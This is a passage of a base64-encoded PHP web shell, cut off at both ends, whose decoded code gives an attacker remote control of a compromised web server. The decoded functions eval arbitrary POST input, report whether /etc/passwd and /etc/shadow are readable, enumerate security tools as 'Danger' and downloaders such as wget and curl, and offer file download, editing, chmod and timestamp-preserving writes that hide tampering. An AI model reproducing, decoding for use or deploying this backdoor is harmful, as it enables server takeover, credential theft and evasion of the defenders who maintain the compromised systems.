EwMCkgPyAncicgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDQwKSA%2FICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA%2FICdTJyA6ICctJykpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA%2FICd3JyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA%2FICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDA0KSA%2FICdyJyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQogICAgcmV0dXJuICRpOw0KfQ0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsNCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU%2BPGI%2BJy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ%2BJzsNCiAgICBlbHNlDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I2Y5YzQ0MD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KfQ0KZnVuY3Rpb24gaGFyZFNjYW5kaXIoJGRpcikgew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgfQ0KfQ0KZnVuY3Rpb24gd2hpY2goJHApIHsNCiAgICAkcGF0aCA9IGV4KCd3aGljaCAnIC4gJHApOw0KICAgIGlmKCFlbXB0eSgkcGF0aCkpDQogICAgICAgIHJldHVybiAkcGF0aDsNCiAgICByZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCiAgICBpZighQCRfUE9TVFsncDEnXSkgew0KICAgICAgICAkYSA9IGFycmF5KA0KICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCiAgICAgICAgICAgICJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KICAgICAgICAgICAgIlZFUlNJT04iID0%2BIFZFUlNJT04sDQogICAgICAgICAgICAic2FmZW1vZGUiID0%2BIEBpbmlfZ2V0KCdzYWZlX21vZGUnKQ0KICAgICAgICApOw0KICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkYSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHByb3RvdHlwZSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzZXRjb29raWUoJGssICR2KTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7DQogICAgaGFyZEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsNCiAgICAgICAgJHYgPSB0cmltKCR2KTsNCiAgICAgICAgaWYoJHYpIHsNCiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOw0KICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpDQogICAgICAgICAgICAgICAgZWNobyAkdiAuICc8YnI%2BJzsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU%2BJzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICBzaG93U2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCiAgICBzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOw0KICAgIHNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsNCiAgICBzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk%2FJ2VuYWJsZWQnOidubycpOw0KICAgICR0ZW1wPWFycmF5KCk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCiAgICAgICAgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KICAgICAgICAkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiAgICAgICAgJHRlbXBbXSA9ICJPcmFjbGUiOw0KICAgIHNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCiAgICBlY2hvICc8YnI%2BJzsNCiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4Jykgew0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI%2BJzsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICTilp8pDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICTilp87DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICTilp8pDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICTilp87DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAk4pafKQ0KICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7DQogICAgICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgdXNlcicpKSk7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCiAgICAgICAgaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7DQogICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgIH1leGl0Ow0KICAgIH0NCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQogICAgICAgICAgICBpZigkZnApIHsNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaGFyZEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ%2BJzsNCiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KICAgICAgICBoYXJkRm9vdGVyKCk7DQogICAgICAgIHJldHVybjsNCiAgICB9DQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KICAgIGlmKCEkdWlkKSB7DQogICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCiAgICAgICAgJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KICAgIH0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQogICAgZWNobyAnPHNwYW4%2BTmFtZTo8L3NwYW4%2BICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4%2BT3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI%2BJzsNCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4%2BICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4%2BTW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI%2BJzsNCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApDQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsNCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkNCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcsICdGcmFtZScpOw0KICAgIGVsc2UNCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQogICAgZm9yZWFjaCgkbSBhcyAkdikNCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E%2BICc7DQogICAgZWNobyAnPGJyPjxicj4nOw0KICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCiAgICAgICAgY2FzZSAndmlldyc6DQogICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPC9wcmU%2BJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOg0KICAgICAgICAgICAgaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI%2BJzsNCiAgICAgICAgICAgICAgICAkb1JiID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsNCiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4%2BJyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ%2BJyksJG9SYikuJzwvZGl2Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY2htb2QnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7DQogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk%2BPTA7LS0kaSkNCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCiAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI%2BPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ%2BcDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0%2BJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdlZGl0JzoNCiAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQogICAgICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ%2BcDNfPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI%2BPHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0%2BJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdoZXhkdW1wJzoNCiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOw0KICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMxYTFhMWE%2BPHRyPjx0ZCBiZ2NvbG9yPSMyMDI4MzI%2BPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMwNjBhMTA%2BPHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMyMDI4MzI%2BPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI%2BPC90YWJsZT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3JlbmFtZSc6DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOw0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ%2BJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAndG91Y2gnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1B